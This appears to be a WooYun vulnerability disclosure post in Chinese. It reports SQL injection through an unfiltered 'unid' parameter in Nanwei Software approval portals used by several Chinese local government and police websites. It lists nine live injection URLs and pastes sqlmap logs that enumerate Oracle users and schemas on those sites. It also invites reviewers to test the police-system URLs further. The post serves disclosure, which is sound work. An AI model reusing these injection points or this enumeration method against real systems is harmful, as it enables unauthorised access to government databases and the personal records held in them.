WooYun.org

南威软件股份有限公司 旗下涉及多个省、市区政府机关系统，具体有余杭区审批门户网站、萧山区人民政府办事服务中心、郑东新区网上审批受理发布平台、浙江省政府网上办事大厅、建德市行政审批服务管理办公室、公安系统
南威系统涉及9个案例，unid参数没有过滤，导致注射漏洞。涉及到公安系统，没有深入测试，有注入url，审核的兄弟可以测试。
http://www.yhfw.gov.cn/was/portals/webSend/entity_show.jsp?fileName=%CA%DA%C8%A8%CE%AF%CD%D0%CA%E9.doc&unid=20110803-13F03C6EF05E5062B773-11
[15:50:40] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[15:50:40] [INFO] fetching current user
[15:50:41] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[15:50:41] [INFO] retrieved: YH_WAS
current user: 'YH_WAS'
[15:50:53] [INFO] fetching current database
[15:50:53] [INFO] resumed: YH_WAS
current schema (equivalent to database on Oracle): 'YH_WAS'
[15:50:53] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[15:50:53] [INFO] fetching database (schema) names
[15:50:53] [INFO] fetching number of databases
[15:50:53] [INFO] retrieved: 18
[15:51:00] [INFO] retrieved: CTXSYS
[15:51:36] [INFO] retrieved: DBSNMP
[15:52:09] [INFO] retrieved: DMSYS
[15:52:36] [INFO] retrieved: EXFSYS
[15:53:08] [INFO] retrieved: MDSYS
http://www.xsbszx.gov.cn/was/portals/webSend/entity_show.jsp?unid=20100516-711038492F91D53A2485-11&fileName=03%20%BB%FA%B6%AF%B3%B5%CE%AC%D0%DE%C6%F3%D2%B5%B3%EF%BD%A8%C9%EA%C7%EB%CA%E9.doc
[16:02:13] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[16:02:13] [INFO] fetching current user
[16:02:13] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:02:13] [INFO] retrieved: XS_WAS
current user: 'XS_WAS'
[16:02:27] [INFO] fetching current database
[16:02:27] [INFO] resumed: XS_WAS
current schema (equivalent to database on Oracle): 'XS_WAS'
[16:02:27] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[16:02:27] [INFO] fetching database (schema) names
[16:02:27] [INFO] fetching number of databases
[16:02:27] [INFO] retrieved: 22
[16:02:34] [INFO] retrieved: CTXSYS
[16:03:05] [INFO] retrieved: DBSNMP
[16:03:54] [INFO] retrieved: DMSYS
http://sp.zhengdong.gov.cn/was/portals/webSend/entity_show.jsp?unid=20100709-D2F9035DCE55FE8DA7C2-11&fileName=%D3%C3%BB%A7%B1%A8%D7%B0%A1%A2%B8%C4%D4%EC%C9%EA%C7%EB%B1%ED.doc
[16:03:06] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[16:03:06] [INFO] fetching current user
[16:03:06] [WARNING] running in a single-thread mode. Please consider usage o
ption '--threads' for faster data retrieval
[16:03:06] [INFO] retrieved: WAS
current user: 'WAS'
[16:03:35] [INFO] fetching current database
[16:03:35] [INFO] resumed: WAS
current schema (equivalent to database on Oracle): 'WAS'
[16:03:35] [WARNING] schema names are going to be used on Oracle for enumerat
as the counterpart to database names on other DBMSes
[16:03:35] [INFO] fetching database (schema) names
[16:03:35] [INFO] fetching number of databases
[16:03:35] [INFO] retrieved: 18
[16:03:45] [INFO] retrieved: DBSNMP
[16:04:39] [INFO] retrieved: LWMONITOR
[16:06:07] [INFO] retrieved: OUTLN
[16:06:59] [INFO] retrieved: SYS
[16:07:39] [INFO] retrieved: SYSDATA
[16:09:41] [INFO] retrieved: SYSMAN
[16:11:27] [INFO] retrieved: SYSTEM
[16:12:38] [INFO] retrieved: TSMSYS
[16:14:22] [INFO] retrieved: UM
[16:14:56] [INFO] retrieved: WAS
http://service.zj.gov.cn/was/portals/webSend/entity_show.jsp?unid=20100108-749F6042544F623CF89F-11&fileName=3-4.pdf
[16:22:14] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[16:22:14] [INFO] fetching current user
[16:22:14] [WARNING] running in a single-thread mode. Please consider us
ption '--threads' for faster data retrieval
[16:22:14] [INFO] retrieved: WAS
current user: 'WAS'
[16:22:18] [INFO] fetching current database
[16:22:18] [INFO] resumed: WAS
current schema (equivalent to database on Oracle): 'WAS'
[16:22:18] [WARNING] schema names are going to be used on Oracle for enu
as the counterpart to database names on other DBMSes
[16:22:18] [INFO] fetching database (schema) names
[16:22:18] [INFO] fetching number of databases
[16:22:18] [INFO] retrieved: 19
[16:22:22] [INFO] retrieved: CSTCADMIN
[16:22:44] [INFO] retrieved: CTXSYS
[16:23:00] [INFO] retrieved: DBSNMP
[16:23:16] [INFO] retrieved: DMSYS
[16:23:30] [INFO] retrieved: EXFSYS
[16:23:46] [INFO] retrieved: MDSYS
[16:24:01] [INFO] retrieved: OLAPSYS
[16:24:20] [INFO] retrieved: ORDSYS
http://bsfw.sxga.gov.cn/was/portals/webSend/entity_show.jsp?unid=20101104-886B88DBC4BCD0E4DE88-11&fileName=%BB%FA%B6%AF%B3%B5%B5%D6%D1%BA%B5%C7%BC%C7%D6%CA%D1%BA%B1%B8%B0%B8%C9%EA%C7%EB%B1%ED%A3%A8%BF%D5%B0%D7%A3%A9.doc 绍兴公安办事服务
http://20568.com/was/portals/webSend/entity_show.jsp?unid=20130108-B9FEE341F5480A6A0D17-11&fileName=u/q157L6xre9+L/ayerH67HtvLC4vbHtuPHKvS5kb2M=
[16:24:10] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[16:24:10] [INFO] fetching current user
[16:24:10] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:24:10] [INFO] retrieved: WAS
current user: 'WAS'
[16:24:18] [INFO] fetching current database
[16:24:18] [INFO] resumed: WAS
current schema (equivalent to database on Oracle): 'WAS'
[16:24:18] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[16:24:18] [INFO] fetching database (schema) names
[16:24:18] [INFO] fetching number of databases
[16:24:18] [INFO] retrieved: 19
[16:24:22] [INFO] retrieved: CSTCADMIN
[16:24:51] [INFO] retrieved: CTXSYS
[16:25:13] [INFO] retrieved: DBSNMP
[16:25:36] [INFO] retrieved: DMSYS
[16:25:54] [INFO] retrieved: EXFSYS
[16:26:16] [INFO] retrieved: MDSYS
[16:26:34] [INFO] retrieved: OLAP
[16:27:24] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
SYS
[16:27:51] [INFO] retrieved: ORDSYS
http://www.jdsp.gov.cn/was/portals/webSend/entity_show.jsp?unid=20110907-CFFBEDC6091C21E764FE-11&fileName=%B7%C0%C0%D7%D7%B0%D6%C3%BF%A2%B9%A4%D1%E9%CA%D5%C9%EA%C7%EB%CA%E9A3%B0%E6(20110830).doc
[16:29:47] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[16:29:47] [INFO] fetching current user
[16:29:47] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[16:29:47] [INFO] retrieved: WAS
current user: 'WAS'
[16:29:55] [INFO] fetching current database
[16:29:55] [INFO] resumed: WAS
current schema (equivalent to database on Oracle): 'WAS'
[16:29:55] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[16:29:55] [INFO] fetching database (schema) names
[16:29:55] [INFO] fetching number of databases
[16:29:55] [INFO] retrieved: 24
[16:30:02] [INFO] retrieved: CTXSYS
[16:30:34] [INFO] retrieved: DBSNMP
[16:31:08] [INFO] retrieved: DMSYS
[16:31:35] [INFO] retrieved: EXFS
[16:33:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
YS
[16:33:21] [INFO] retrieved: HR
[16:33:34] [INFO] retrieved: IX
[16:33:47] [INFO] retrieved: MDSYS
[16:34:13] [INFO] retrieved: OE
[16:34:26] [INFO] retrieved: OLAPSYS
[16:35:02] [INFO] retrieved: ORDSYS
[16:35:33] [INFO] retrieved: OUTLN
[16:36:00] [INFO] retrieved: PM
[16:36:14] [INFO] retrieved: QZJ
[16:36:31] [INFO] retrieved: SCOTT
[16:36:58] [INFO] retrieved: SH
[16:37:11] [INFO] retrieved: SYS
[16:37:30] [INFO] retrieved: SYSMAN
http://gajadmin.qz.gov.cn/was/portals/webSend/entity_show.jsp?unid=20120821-FD97786C7C6E45A96B00-11&fileName=%D6%D0%BB%AA%C8%CB%C3%F1%B9%B2%BA%CD%B9%FA%BC%C6%CB%E3%BB%FA%D0%C5%CF%A2%CD%F8%C2%E7%B9%FA%BC%CA%C1%AA%CD%F8%B1%B8%B0%B8%B1%ED.doc 衢州公安-办事服务
http://sz.sxga.gov.cn:8080/was/portals/webSend/entity_show.jsp?unid=20130530-6608B3679772066C74FC-11&fileName=%BB%FA%B6%AF%B3%B5%BC%DD%CA%BB%D6%A4%C9%EA%C7%EB%B1%ED%A3%A8%D1%F9%B1%BE%A3%A9.xls 嵊州市公安局